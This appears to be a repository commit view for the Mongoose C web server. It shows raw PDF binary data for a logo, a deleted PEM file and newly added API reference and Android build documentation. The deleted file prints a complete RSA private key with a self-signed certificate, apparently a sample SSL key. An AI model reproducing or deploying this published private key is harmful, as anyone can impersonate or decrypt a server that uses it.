0#ÜÎE<®6 nŸÙ��©YI+E»6 ™¸þm0°éÊéD³I±Z¹EƒÏ† {Ge ¬ÌšQn©Ï­Ÿk×ðõXk9;•¸Pš×¸2S ;¥e %¹g©ì�y?3-•˜(-CÏ:w˜Ò2ì,� ”–áüÙnŸß<)'IÊV–³t‚õ@Úzã… 65k'ÒÖEzša©d`¼f„␍¢ò8 1½zúEe`xí éLv3eK~®]o«Ê+õ¸»Ÿ;Ý/‹‡(OYÙY#ˆdSë·Zj®–»817Œœ êkqCÍ:“újjÛýgš­ï·R8‘
çZ�ÁÑN«>
[+ÜöÍI�ÒRá:Ñ:Í'ðOÐNwdøYLª‰T8Q-»“&?_†Î5Zå–66ÞÔ «×�­¦Æ™»š¢ûoú‹5ó‹òrC‘2¿¸aZú ÊüâcóÝ †6½K/´µ§$©–Ù;^õgIsJÕ+ÕÔ_¤Í/ED§™ˆ~Ôqö”Æ>³Ÿ;F$pJÜ0LãuYoü"IŠ4 ±iÝY"65<#n¦™+£V.hl% … ¹†Ÿ¨í6Ÿ5�ò¡–Ô³RI›ÈuÜ\Sæ-õîÕr5UH¼î¬Ó·K†­nÞ#¸$þØNý�†2Aòl…¶y 2‹Ã�äͺ’ÛºáOwó/­8qk$¯bZné“‘ùf›·>µaÞ™hƒ­ìoª›Åw„ ÙÊãCˆ½Ò<˪ߺ7¬úmüôJÒ+ª ±®~c?Pþä]–4PÜA²ç‘BwŠÉl½{LãºÈ`¯�/ÕÆß÷:}=š3eßÖ[?ô¼š’yw×0�æí.VÖ]S—¥.õ±¶{Þ|?®Ä®"æËOPtŸò¡ϵb:DÛq(qËãIƒú’!¬½ÂÞð$ë|eý)«~«ˆ\Ž í…S‹Þöví=:+_¿Ô*Ý…æîåõójµ‘Þ¹Câi -␍w4È×ñ�ÕêY‹c2³¢
›¸Æ<'}µæ™´F¹ºyµ†S~qŽ-–PÈ}I«âé®*™"‰u4-ûq’å)␍?Ñ2µ¿¦Çu¾3 ¶’~Jby«'‰¦ñyð¬L¡>îujM¨§ÍdkçDz´–Y�Î␍3�ÝMg¶ø8J¦¤èV<^Ôr6‹x q�Æ­'Üi&uœDà(­&}~lf*‡2␍…k”9‡¾ðÙ%y™Hn™dˆ.ÄAd!ùE©#ÜÛI".<A3’W%ô^-␍èkЪ„Þ;Îh)¤§›HdBQß,F¢+­ÒÒîÿ šH^rQ!+ÑÌå¸+)gJç£Ó�¦"ÿ¬GþÉì0ÌM¿%×Iº–~�*rsÜ“ú£h1šÙ½*ÙŠÔ”[ª€æü-¯‹¿´J(j ùTKt ¦ÃRå½°÷¹¿x¹)VÞé‡-{ì`‚ÛßD±ƒ—rÓûÞc‹¥Ú�6
¤PvòÚV«ÄÒô ‹SŽ�N_2y©s½Ç�ô[MÎßqtË,ìÈö¬Ý›�ÝÔàôpç¨0Üö7üÈßV•çGºòX{¸®mîn6qÞïäÉ.Ç·›²­Ñhl ×ñ´¸€Fxˆ>ÖÑYç0ð•W‡„ëå ßøhGÀ.'ã¤,­Pì ^ãÄ¥Þ3‘K«›ªÀ,Ý×ñ¢žV¹%û<D?3£Ôkõ[œäÆ?®üˆ˜³gJ�Hx/S˜)½fFŽÏÜöí ¤±7baå/SfµIåÙÚA`LgU S´wf>c_Ư;F†µ‰Mð÷ŠXïI˜A»Y±0A¶3P‹/ˆ$¼GäÜÞ�ÄYR=Xbï†Å¹îæsÎA‘FGQ¨ÉâçiôAg#–9?¦È�«›÷ Rž_ÒˆÙøh¡Ÿ÷¤]à›>9j„M,Q Mq8À³™4Ÿ½ñpFi`Â�}`O‹7>x¸Ì8µ‡â+¦nò†6±çÍf±¼{³²þVnç�»×»ý;rºEéiísae¡yßÑu"N'²7ó$7ŽS¦C,È␍�KŠœ_Q}®$È7qá–œia,S8ðá‘ÛÇÑÍøüM�߯G–XA´£Ï
y°˜9a¿Ð�;H›Ï;ùYÓAHÿ�‡X|ðÚbö˜5éjÎ}¨CGÔuÌXåLaêÇf¢=e°•=ß]#ߪχIòÍÔóчŸ±¥‡dÕÖ�Üco¿[y_¢ƒGw6¶ïyr8è kí]ÄU�¤³¼‚õ?«À,›¾lšÏÿÑOç wþφ.D·Éù©¯Á™óù?ú Cº*cè1šK௨2†ƒGó·TC�Áý·TC�ÑŒ�¿¢ÊzŒæãò>UÊ,b&Ž µË(³é¾™ùav ì;í.ó§• m§PIÚvecûÊðKÐÏ)ÊÚ@[Íbá/G$üixã°1ºhÞY}dm»¢tu㬪ï¬^L60^´í¬î¯ì›YŒ¿ZÅj^ �ðNYtb8"Áý$úFéÏ2ú3˜›Ô:Å&®ƒŽŽS�“ÑðÓ{„ñ39…ìÅtØØÆzïRß�| Ñ"Ú^œ}CqÜ,’øØt␍i¡÷âìû Þ®1â··yÇø/¯f<à}b�f$@wÌH@ÇæX‘ ´âÆ©�î©Ë¦Ø`O*üî´î<Ùbð"†�±ë®¬ jÚ v&†½sƒ žÝʽûrÕŸ¥␍|ì«w$λ�‡AÎðj@;„|–�Ô•␍x³': s¶�àã8UÑ9í@Úî¤4ða¯ Ú†‹ º5èêUEZX>?�C
4š‰6ž³ ›óº]ZéH <#ç␍Źæm␍¨Ê­Þ†4œ)Œcë¼=r¢o4šàùOÉdíz•­s9æ� /9W´ +þ¡g4@ïŸ<4mH{xÖ)èÁÔ_ºö²o9÷¡€Jîm”f�j|Í&€$;•””ZÚþT2Ñ ;Ò> %Ä@úc'lbJ <eZdPÚÃxa6Þ\\ °H³Ãg£�ØêmûÊ“ؘIáEº!}ù!çm¤uB]o¼�ÑøÎF�þÈX¤§b�¯ Èy‘¨V+Rß‹ñ‚ÉsZãQ:ö=²©�q2ƒ²½oì¨Ý##/ç”ë⥜�‹ƒñòRÎÇE‰çÆËK9%ã奜�‹’lvxx)ç㢌hǨºy)çã¢Ôü®^Êù¸(Œ·—r>.ÊN_÷ðRÎÇE‰Ã½¼”óqQjRÀÕK9%vtyy)º(KƱÒjD‘‡=ýR?�£ rº­¸pˆg)©•ºýB›º’Zq“ÔÒåŒnœeâøÆDøØ„å/›_#Áâ¯mG#ü¥ý½“Æiè`ðÇäVêVÑŽ©ÍooêûMñÉñÊ•÷×�gÓ¾¶‘_fR«mø�=J˜Ã.
#et”Ô;�bçøÄpì6DlÿIœ€©×¼d
Ðлµí¸¨[Ä È6;³wôÃnÕ£s÷>x´_J©žÀ¥Í ’ Eó™äÆŽË[²¯»»e´Ï‰rG»™õj¿eÞÉ„ÇËðèJ�¸H¶^’>:ýcñ�¤Dþa¢ä/␍Ñg¾eX!Êf³ð#‹ž7"ÿć??ØDôÁ¬gv•Q¥Óu侨ü‰ñ³û“ãS´MJ~…|½�ÿîuûP -ŽFJ§1IÃÞrEÐq²\³Ýé¶©¯–b£™ƒþÈx�>F’ú:Þ�ÅLf0Vº”¬|dZ͌ԕ~††b2‰hæ
÷?¬Mü»c½␍ôbXl5]ÊöÅžVTí')œúNh*’8êü”šr¯'÷‡ýábðá7à ¿ù݆ÿë×/ê‡GÍ
… ÍfX6­´ÞÓÃ?ý‘ø;
P/2péïŠ␍–‰L|ðî…��K«ÁåVgÿSCy¬4¥wÀ‚Dõ¥Q¦r]Ñ_¦iª5j…@ŠZ/ fô*ß
=ˆ6:ýÏaSHDJ@߇±)␍3Úóàxñ©á„£Ê÷ÀK¹øü¬­©Ã¨ØoEaIÁP†ÏÏeqïùùäOT/��w¸ns4V$x„¢Œºb¿)Á[¹ÿ!ËCý[”‹{²<jG? P?šãIÕß9žôñ¥†±¢ô{ +£ô{§«b6ÒÝ+ôèiPð§5Æ‹Îÿ›‡þ{Ú¡ÿþFC·ñp…Òdj±%7sÀd¥ï�šâŠ�*�)„"„Ÿ’2„®†#½Rj>£c¼G`<W·{õëvgX%úz áLÔѧòæ -FU{J‚ÉD×Á �çZuôù‡Žî¢�û_‘Æ‘n¦4|‚"ð»ÛO½­Ÿéø¿éwPH¬?%¶¼ ÛH°õm8.Äß;£tOTÀ Nw¥÷Q˜OTý¯ýHL9x\ó{Œ�c©\–fi. •k¢³ù'¹›«}�Ñó Eç Y¾0ÕèO7úßßeôLÂÿw ¶Ü•¤Î‡¹½æãà•Nkº±[+~“¡3# /LCõÿ‘åÞTtO*~ „™|¹ñCjަšþ‰ªßdø!Fß�•–¤È±Ù…÷¶Šßcäïbwè3ƒV»ª-ÿB<fàF�ï1æÅþzΛrWVÂϸZ훌ýÿ 1ö�ø!…¹©Ò÷w×%ô¯N¿%ÿ%õw§×ù�Ζqoä{`dJ%¿!ƒøµà9Tþ¯Æ€ÒùhOkå©u¿Çø‰d
=¬�Qº‹ö�§Sù­-|t¤C96lì=�ágTþ@ÁtÖŸQù{  �›Ê
P‡Ñ–Â
·¾6V#%íƒùÆ^{l¨␍|dL%,‘&4l‹0˜©ð`®þ=°0= aLa29×OÍg ³ïKèûEºo<Äàì£øïØ5©ÿæÊuc+~Vë.»(0‚’,wI£eu$µJzh‹Q_õÕ­–B4žˆÞßá�&ZAÛ.gðAåò‡FñŒ�ËçáKŽå…< _XF(Ð9øÂ±Y¾€Š°\–E_¸Ÿ‡7÷"jE´Añèýôë¾ý€g¿¢ =‰>½ÐÑV^^Fþa�bóL6ÊXŠçø\´‡æ¨<␍ß¹Oñy6e–b³O8ª�ã…èO(–ÏSͲø!ŸÍ1Q6W ¦ D9!Oq‚¡ �ÍASù,Eçi.ZFíó[à
Q.ÇRy€Í
T^(0Pˆ¥„‚ÀG"ÿpt�Êf6—‡Ö9š iŠaóЉ<OqLŽ�ÞB[úÊ1SÈsQ4¤<ô=Èá¾ T–Á␍Aï
lw¡ÀPÙ\�ƒž2€oÀ +(&‹ë(^ÈACP†§s¨¢@ñ|Žô½�….ó¨9Jàyh¿P XŽ#Oò,+␍�s9?É29 ‘£9J„â‡�‹.yð‡És6Àbhò�åáË1<d€„B?¤ó9xË0” à¾åaØÐ7Ž�Ö²y£±2Á!/h”Ų4OØ<‹G™ãsY\�a8T0 ÈÆ„a˜„ÐJzÁQ4OËÒ9W¥óƒŸ09¾0h6h¦·Šc(.Ï0ø!ôFÀ½/ð j>-ä4“òè<& $Ô5–bxÜ‹<U@tø@ºV€.ÁCANCTÉbÂã©|!žˆF8 ݼ �´žÐ@º‚ZL  |DQ™,‡‰€æ€Jñ€8
xª`FˆeTªbX@êËR4À |�ô�E† +‡(Œ#�ÐX�H1•«Ïh![ÀY 2í!‡šÇdS€ ;&p8Ä':eª%aHÇùÌ~ís!'^`xíaN@s�ª³h&á Ï`.»À¸·¤¨'Áp,Ð0�ˆ ðÇp<¡Xx›%sNg³¸M«b8ˆÃOX‹
 ¾@8Úç€W°˜aÙlŽÑQA‚**8qÀ½QžVñ�*r@ü9˜"¨™É":‚'<"
žÎŽƒ1S,šv1¢\ÞƒAó€*„ .‡Å�8Š/Øž�<Rq�`�<<ƒY"«·LÉñd9Ä@4<PLŽæ³ÚCŒ¦ˆá jƒHÚ ß„ïðÌ „Ñ<~X`°l¢á€ÑyD[èßO2ÕÔ@Ï@WEóÇSYÄýèIŽCüÍ"A�𓬾L¦
z] YDjhb�Ì"# W°î�.ä…l´IhX€¹Å¡Kˆ€ƒrY”åÆá f␍XµˆäÂiµc ¢N4£˜UŒ[ v˜;x“Í¡¶a`ìMråó�èˆL `µ$ˆÊy<¡Ù<Ï‚0F Að´cA€6–V@ˆP–QÅ? 2Ï¢‡0_…ª„V@B§ ;Zø<š‚ð<šß2Y/ù,"UXórˆ9&WPà‰wU!››È«
Ò®Ú ä]ÿ ê÷-tàþ¹ß—š#YI7ÇÊOE†‹Èqlà{XÍÿü§ùŸ&úýAßÔ¯Mý¡úã?ÿ!¡¢·4pÃpñ[¦j߯Xø+êø@µaáÌú2Ñjvú‹ôb$K‘Y*6Òtñ’‹´R,„A]3AJòX˜2 p²Œö�Ö;“M[]Ú³YÉŸRÍmqÎå8?Ì©+ÔÎ Ù,Y+X“çüÔ¢‚¶Š3Ù,‡¥h�æõ’°ÜódUa ºf€5E4 ,íA˜rÚC˸�ÿ•OW>ý¯3^Þ�ñ*D“á
˜âAÙÌÃ=,`␍!G–k¤ðå €íÄÁêŽõNPÅA‰Ã‰‘Ã!ÒÍñ¤"ÒAyb�v…€™!`%æ@�Å aí'Å
Ï`íÔwbX¢Æ²X%ÁöÒe
ЭCž€ºBt,Xþ¹\–<ÌaíW Vj␍t–h¿‚¦½ðH‚p¸[ 0¨ö“µ– ƒØoèùWkøÿ‡Öð¯.ð7DRÁG$�IS`±Ã,—í¹Ò
`˜‚}O@·/ /,
�@î6&O¼kDkyÁ"‹‚A¦tŽ2Ó3:‡í(d¯8bç rÐ6kün1�GV¿©�&+ôvŒ˜Z�<”Î QS;9
ôÖ¦þnù¥öH+¤wZkÇ>²æ¿2è_Í`6Ì1Þl¨:¹'ôrä[ÉÒ^jsŒÀƒ%›S™…¦ÑÂ
O²L6‡‹ C–ixHÃâMêbÿ-Ç/#zªOžpqç8ÂTð,/°,~Èc/,‡4oš¸òÄŒð»Ðìn€yÌ4 ‚äó¤^!'ÄÁaßS–bŽ%O˜|N÷=òÄW�” 4jìCC¥¸¬êõæ�Ä’NyZwG©YäMau‡”iÿêõÿ?Ð ˆ§á_bþ²‹÷³j.'dÊ”Bæ<ÇpÑ_Q>zÁ¦Dÿ4Ø Lžˆ2|–ø�ADW/ÇB�|?¤ób©ƒ,á�ŃKNó3 y¡àÿðê_öÿwñžšrÞ €(ŽÑö;²@Äê"ÍÇس4MižÉ9*‡¶…nÕb9UÓÄN-¼z�­îB/~ÿ’ïÿøêõïºõØVðf[÷ ^ßñž½üýç)–A¹B)þê?Ò,²Y9à^ø
|�Â’Óž¦!ޱ?|—•žul»úd ¸Öw¦'¦°…‚›¡¯÷Ìwÿ1¾è¯´¢¨Ã¤«¸ÛŒ©»»-¹!�á”�<~»À¨J
®Ñ‚j"øA+òON‹é9.EÈ©SÕ~ Ÿ9•F'±-Ÿ‹Òµ"vºèª�¡øSŠŠý¾<G
÷B§` �{¥(ÊAOP%½Âòrõ¬ùçÿÚ¶xÐ
endstream␍endobj␍6 0 obj␍[5 0 R]␍endobj␍20 0 obj␍<</CreationDate(D:20130102172747+01'00')/Creator(Adobe Illustrator CS6 \(Windows\))/ModDate(D:20130102172747Z)/Producer(Adobe PDF library 10.01)/Title(Mongoo 3 smooth green)>>␍endobj␍xref
0 21
0000000000 65535 f
0000000016 00000 n
0000000144 00000 n
0000016417 00000 n
0000000000 00000 f
0000018879 00000 n
0000062760 00000 n
0000016468 00000 n
0000016797 00000 n
0000019175 00000 n
0000019062 00000 n
0000018118 00000 n
0000018317 00000 n
0000018365 00000 n
0000018946 00000 n
0000018977 00000 n
0000019248 00000 n
0000019422 00000 n
0000020477 00000 n
0000039795 00000 n
0000062783 00000 n
trailer
<</Size 21/Root 1 0 R/Info 20 0 R/ID[<DAA7E1F6DAFF2748BD66B503D3959824><B0ED829296E5A049A6E2795E820EF1BF>]>>
startxref
62975
%%EOF
Binary file not shown.

Before

Width:  |  Height:  |  Size: 560 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 669 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 743 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 872 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.2 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.5 KiB

-1
View File
@@ -1 +0,0 @@
100 ICON DISCARDABLE "systray.ico"
-140456
View File
File diff suppressed because it is too large. Load diff
-7245
View File
File diff suppressed because it is too large. Load diff
-50
View File
@@ -1,50 +0,0 @@
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAwONaLOP7EdegqjRuQKSDXzvHmFMZfBufjhELhNjo5KsL4ieH
hMSGCcSV6y32hzhqR5lvTViaQez+xhc58NZRu+OUgEhodRBW/vAOjpz/xdMz5HaC
EhP3E9W1pkitVseS8B5rrgJo1BfCGai1fPav1nutPq2Kj7vMy24+g460Lonf6ln1
di4aTIRtAqXtUU6RFpPJP35PkCXbTK65O8HJSxxt/XtfoezHCU5+UIwmZGYx46UB
Wzg3IfK6bGPSiHU3pdiTol0uMPt/GUK+x4NyZJ4/ImsNAicRwMBdja4ywHKXJehH
gXBthsVIHbL21x+4ibsg9eVM/XioTV6tW3IrdwIDAQABAoIBACFfdLutmkQFBcRN
HAJNNHmmsyr0vcUOVnXTFyYeDXV67qxrYHQlOHe6LqIpKq1Mon7O2kYMnWvooFAP
trOnsS6L+qaTYJdYg2TKjgo4ubw1hZXytyB/mdExuaMSkgMgtpia+tB5lD+V+LxN
x1DesZ+veFMO3Zluyckswt4qM5yVa04YFrt31H0E1rJfIen61lidXIKYmHHWuRxK
SadjFfbcqJ6P9ZF22BOkleg5Fm5NaxJmyQynOWaAkSZa5w1XySFfRjRfsbDr64G6
+LSG8YtRuvfxnvUNhynVPHcpE40eiPo6v8Ho6yZKXpV5klCKciodXAORsswSoGJa
N3nnu/ECgYEA6Yb2rM3QUEPIALdL8f/OzZ1GBSdiQB2WSAxzl9pR/dLF2H+0pitS
to0830mk92ppVmRVD3JGxYDRZQ56tlFXyGaCzJBMRIcsotAhBoNbjV0i9n5bLJYf
BmjU9yvWcgsTt0tr3B0FrtYyp2tCvwHqlxvFpFdUCj2oRw2uGpkhmNkCgYEA03M6
WxFhsix3y6eVCVvShfbLBSOqp8l0qiTEty+dgVQcWN4CO/5eyaZXKxlCG9KMmKxy
Yx+YgxZrDhfaZ0cxhHGPRKEAxM3IKwT2C8/wCaSiLWXZZpTifnSD99vtOt4wEfrG
+AghNd5kamFiM9tU0AyvhJc2vdJFuXrfeC7ntM8CgYBGDA+t4cZcbRhu7ow/OKYF
kulP3nJgHP/Y+LMrl3cEldZ2jEfZmCElVNQvfd2XwTl7injhOzvzPiKRF3jDez7D
g8w0JAxceddvttJRK9GoY4l7OoeKpjUELSnEQkf+yUfOsTbXPXVY7jMfeNL6jE6b
qN7t3qv8rmXtejMBE3G6cQKBgGR5W2BMiRSlxqKx1cKlrApV87BUe1HRCyuR3xuA
d6Item7Lx1oEi7vb242yKdSYnpApWQ06xTh83Y/Ly87JaIEbiM0+h+P8OEIg0F1a
iB+86AcUX1I8KseVy+Np0HbpfwP8GrFfA5DaRPK7pXMopEtby8cAJ1XZZaI1/ZvZ
BebHAoGAcQU9WvCkT+nIp9FpXfBybYUsvgkaizMIqp66/l3GYgYAq8p1VLGvN4v5
ec0dW58SJrCpqsM3NP78DtEzQf9OOsk+FsjBFzDU2RkeUreyt2/nQBj/2mN/+hEy
hYN0Zii2yTb63jGxKY6gH1R/r9dL8kXaJmcZrfSa3AgywnteJWg=
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDBjCCAe4CCQCX05m0b053QzANBgkqhkiG9w0BAQQFADBFMQswCQYDVQQGEwJB
VTETMBEGA1UECBMKU29tZS1TdGF0ZTEhMB8GA1UEChMYSW50ZXJuZXQgV2lkZ2l0
cyBQdHkgTHRkMB4XDTA4MTIwNzEwMjUyMloXDTE4MTIwNTEwMjUyMlowRTELMAkG
A1UEBhMCQVUxEzARBgNVBAgTClNvbWUtU3RhdGUxITAfBgNVBAoTGEludGVybmV0
IFdpZGdpdHMgUHR5IEx0ZDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AMDjWizj+xHXoKo0bkCkg187x5hTGXwbn44RC4TY6OSrC+Inh4TEhgnElest9oc4
akeZb01YmkHs/sYXOfDWUbvjlIBIaHUQVv7wDo6c/8XTM+R2ghIT9xPVtaZIrVbH
kvAea64CaNQXwhmotXz2r9Z7rT6tio+7zMtuPoOOtC6J3+pZ9XYuGkyEbQKl7VFO
kRaTyT9+T5Al20yuuTvByUscbf17X6HsxwlOflCMJmRmMeOlAVs4NyHyumxj0oh1
N6XYk6JdLjD7fxlCvseDcmSePyJrDQInEcDAXY2uMsBylyXoR4FwbYbFSB2y9tcf
uIm7IPXlTP14qE1erVtyK3cCAwEAATANBgkqhkiG9w0BAQQFAAOCAQEAW4yZdqpB
oIdiuXRosr86Sg9FiMg/cn+2OwQ0QIaA8ZBwKsc+wIIHEgXCS8J6316BGQeUvMD+
plNe0r4GWzzmlDMdobeQ5arPRB89qd9skE6pAMdLg3FyyfEjz3A0VpskolW5VBMr
P5R7uJ1FLgH12RyAjZCWYcCRqEMOffqvyMCH6oAjyDmQOA5IssRKX/HsHntSH/HW
W7slTcP45ty1b44Nq22/ubYk0CJRQgqKOIQ3cLgPomN1jNFQbAbfVTaK1DpEysrQ
5V8a8gNW+3sVZmV6d1Mj3pN2Le62wUKuV2g6BNU7iiwcoY8HI68aRxz2hVMS+t5f
SEGI4JSxV56lYg==
-----END CERTIFICATE-----
-----BEGIN DH PARAMETERS-----
MEYCQQD+ef8hZ4XbdoyIpJyCTF2UrUEfX6mYDvxuS5O1UNYcslUqlj6JkA11e/yS
6DK8Z86W6mSj5CEk4IjbyEOECXH7AgEC
-----END DH PARAMETERS-----
BIN
View File
Binary file not shown.

Before

Width:  |  Height:  |  Size: 17 KiB

+241
View File
@@ -0,0 +1,241 @@
# Mongoose API Reference
struct mg_server *mg_create_server(void *server_param);
Creates web server instance. Returns opaque instance pointer, or NULL if
there is not enough memory. `server_param`: Could be any pointer, or NULL.
This pointer will be passed
to the callback functions as `struct mg_connection::server_param` field.
A common use case is to pass `this` pointer of the C++ wrapper class
as `user_param`, to let the callback get the pointer to the C++ object.
Note that this function doesn't make the
server instance to serve. Serving is done by `mg_poll_server()` function.
Mongoose has single-threaded, event-driven, asynchronous, non-blocking core.
When server instance is created, it contains an information about
the configuration and the state of each connection.
Server instance is capable on listening on only one port. After creation,
`struct mg_server` has a list
of active connections and configuration parameters.
Side-effect: on UNIX, `mg_create_server()` ignores SIGPIPE signals. If custom
processing is required SIGPIPE, signal handler must be set up after
calling `mg_create_server()`.
Important: Mongoose does not install `SIGCHLD` handler. If CGI is used,
`SIGCHLD` handler must be set up to reap CGI zombie processes.
void mg_destroy_server(struct mg_server **server);
Deallocates web server instance, closes all pending connections, and makes
server pointer a NULL pointer.
const char mg_set_option(struct mg_server *server, const char *name,
const char *value);
Sets a particular server option. Note that at least one option,
`listening_port`, must be specified. To serve static files, `document_root`
must be specified too. If `document_root` option is left unset, Mongoose
will not access filesystem at all. `mg_set_option()` returns NULL if option was
set successfully, otherwise it returns human-readable error string. It is
allowed to call `mg_set_option()` by the same thread that does
`mg_poll_server()` (Mongoose thread) and change server configuration while it
is serving, in between `mg_poll_server()` calls.
void mg_poll_server(struct mg_server *server, int milliseconds);
Performs one iteration of IO loop by iterating over all
active connections, performing `select()` syscall on all sockets with a timeout
of `milliseconds`. When `select()` returns, Mongoose
does an IO for each socket that has data to be sent or received. Application
code must call `mg_poll_server()` in a loop. It is an error to have more then
one thread calling `mg_poll_server()`, `mg_set_option()` or any other function
that take `struct mg_server *` parameter. Mongoose does not
mutex-protect `struct mg_server *`, therefore only single thread
(Mongoose thread) should make Mongoose calls.
`mg_poll_server()` calls user-specified event handler when certain events
occur. Sequence of events for the accepted connection is this:
* `MG_AUTH` - Mongoose asks whether this connection is authorized. If event
handler returns `MG_FALSE`, then Mongoose does not serve the request but
sends authorization request to the client. If `MG_TRUE` is returned,
then Mongoose continues on with the request.
* `MG_REQUEST` - Mongoose asks event handler to serve the request. If
event handler serves the request by sending a reply,
it should return `MG_TRUE`. Otherwise,
it should return `MG_FALSE` which tells Mongoose that request is not
served and Mongoose should serve it. For example, event handler might
choose to serve only RESTful API requests with URIs that start with
certain prefix, and let Mongoose serve all static files.
If event handler decides to serve the request, but doesn't have
all the data at the moment, it should return `MG_MORE`. That tells
Mongoose to send `MG_POLL` events on each iteration of `mg_poll_server()`
`mg_connection::connection_param` pointer is a placeholder to keep
user-specific data. For example, handler could decide to open a DB
connection and store DB connection handle in `connection_param`.
* `MG_POLL` is sent only to those connections which returned `MG_MORE`.
Event handler should try to complete the reply. If reply is completed,
then event handler should return `MG_TRUE`. Otherwise, it should
return `MG_FALSE`, and polling will continue until
handler returns `MG_TRUE`.
* `MG_HTTP_ERROR` sent when Mongoose is about to send HTTP error back
to the client. Event handler can choose to send a reply itself, in which
case event handler must return `MG_TRUE`. Otherwise, event handler must
return `MG_FALSE`
* `MG_CLOSE` is sent when the connection is closed. This event is used
to cleanup per-connection state stored in `connection_param`
if it was allocated.
Sequence of events for the client connection is this:
* `MG_CONNECT` sent when Mongoose has connected to the remote host.
This event is sent to the connection initiated by `mg_connect()` call.
Connection status is held in `mg_connection::status_code`: if zero,
then connection was successful, otherwise connection was not established.
User should send a request upon successful connection.
* `MG_REPLY` is sent when response has been received from the remote host.
* `MG_CLOSE` same as for the accepted connection.
When mongoose buffers in HTTP request and successfully parses it, it sends
`MG_REQUEST` event for GET requests immediately. For POST requests,
Mongoose delays the call until the whole POST request is buffered in memory.
POST data is available to the callback as `struct mg_connection::content`,
and POST data length is in `struct mg_connection::content_len`.
Note that websocket connections are treated the same way. Mongoose buffers
websocket frame in memory, and calls event handler when frame is fully
buffered. Frame data is available `struct mg_connection::content`, and
data length is in `struct mg_connection::content_len`, i.e. very similar to
the POST request. `struct mg_connection::is_websocket` flag indicates
whether the request is websocket or not. Also, for websocket requests,
there is `struct mg_connection::wsbits` field which contains first byte
of the websocket frame which URI handler can examine. Note that to
reply to the websocket client, `mg_websocket_write()` should be used.
To reply to the plain HTTP client, `mg_write_data()` should be used.
const char **mg_get_valid_option_names(void);
Returns a NULL-terminated array of option names and their default values.
There are two entries per option in an array: an option name followed by a
default value. A default value could be NULL. A NULL name indicates an end
of the array.
const char *mg_get_option(const struct mg_server *server, const char *name);
Returns the value of particular configuration parameter. If
given parameter name is not valid, NULL is returned. For valid names, return
value is guaranteed to be non-NULL. If parameter is not set, zero-length string
is returned.
void mg_iterate_over_connections(struct mg_server *, mg_handler_t func);
This is an interface primarily designed to push arbitrary data to websocket
connections at any time. This function could be called from the Mongoose thread
only. When it returns, Mongoose thread calls `func()` for each active
connection.
It is allowed to call `mg_send_data()` or `mg_websocket_write()` within a
callback, cause `func` is executed in the context of the Mongoose thread.
void mg_wakeup_server(struct mg_server *);
Makes `mg_poll_server()` that could be sleeping in the `select()` syscall
to break the call and return. This function can be called from any thread.
It is designed to let other threads wake up Mongoose thread from the sleep
and let it do a fresh new IO iteration over all connection. Usually it is done
when other threads decides there is new data ready to be sent by Mongoose.
void mg_send_status(struct mg_connection *, int status_code);
void mg_send_header(struct mg_connection *, const char *name,
const char *value);
void mg_send_data(struct mg_connection *, const void *data, int data_len);
void mg_printf_data(struct mg_connection *, const char *format, ...);
These functions are used to construct a response to the client. HTTP response
consists of three parts: a status line, zero or more HTTP headers,
a response body. Mongoose provides functions for all three parts:
* `mg_send_status()` is used to create status line. This function can be
called zero or once. If `mg_send_status()` is not called, then Mongoose
will send status 200 (success) implicitly.
* `mg_send_header()` adds HTTP header to the response. This function could
be called zero or more times.
* `mg_send_data()` and `mg_printf_data()` are used to send data to the
client. Note that Mongoose adds `Transfer-Encoding: chunked` header
implicitly, and sends data in chunks. Therefore, it is not necessary to
set `Content-Length` header. Note that `mg_send_data()` and
`mg_printf_data()` do not send data immediately. Instead, they spool
data in memory, and Mongoose sends that data later after URI handler
returns. If data to be sent is huge, an URI handler might
send data in pieces by saving state in
`struct mg_connection::connection_param` variable and returning `0`. Then
Mongoose will call a handler repeatedly after each socket write.
<!-- -->
int mg_websocket_write(struct mg_connection* conn, int opcode,
const char *data, size_t data_len);
Similar to `mg_write()`, but wraps the data into a websocket frame with a
given websocket `opcode`.
const char *mg_get_header(const struct mg_connection *, const char *name);
Get the value of particular HTTP header. This is a helper function.
It traverses http_headers array, and if the header is present in the array,
returns its value. If it is not present, NULL is returned.
int mg_get_var(const struct mg_connection *conn, const char *var_name,
char *buf, size_t buf_len);
Gets HTTP form variable. Both POST buffer and query string are inspected.
Form variable is url-decoded and written to the buffer. On success, this
function returns the length of decoded variable. On error, -1 is returned if
variable not found, and -2 is returned if destination buffer is too small
to hold the variable. Destination buffer is guaranteed to be
'\0' - terminated if it is not NULL or zero length.
int mg_parse_header(const char *hdr, const char *var_name, char *buf,
size_t buf_size);
This function parses HTTP header and fetches given variable's value in a buffer.
A header should be like `x=123, y=345, z="other value"`. This function is
designed to parse Cookie headers, Authorization headers, and similar. Returns
the length of the fetched value, or 0 if variable not found.
int mg_modify_passwords_file(const char *passwords_file_name,
const char *domain,
const char *user,
const char *password);
Add, edit or delete the entry in the passwords file.
This function allows an application to manipulate .htpasswd files on the
fly by adding, deleting and changing user records. This is one of the
several ways of implementing authentication on the server side. For another,
cookie-based way please refer to the examples/chat.c in the source tree.
If password is not NULL, entry is added (or modified if already exists).
If password is NULL, entry is deleted.
Return: 1 on success, 0 on error.
int mg_parse_multipart(const char *buf, int buf_len,
char *var_name, int var_name_len,
char *file_name, int file_name_len,
const char **data, int *data_len);
Parses a buffer that contains multipart form data. Stores chunk name
in a `var_name` buffer. If chunk is an uploaded file, then `file_name`
will have a file name. `data` and `data_len` will point to the chunk data.
Returns number of bytes to skip to the next chunk.
struct mg_connection *mg_connect(struct mg_server *server,
const char *host, int port, int use_ssl);
Create connection to the remote host. Returns `NULL` on error, non-null
if the connection has been scheduled for connection. Upon a connection,
Mongoose will send `MG_CONNECT` event to the event handler.
+27
View File
@@ -0,0 +1,27 @@
# Mongoose Build on Android
This is a small guide to help you run mongoose on Android. Currently it is
tested on the HTC Wildfire. If you have managed to run it on other devices
as well, please comment or drop an email in the mailing list.
Note : You dont need root access to run mongoose on Android.
- Clone Mongoose Git repo
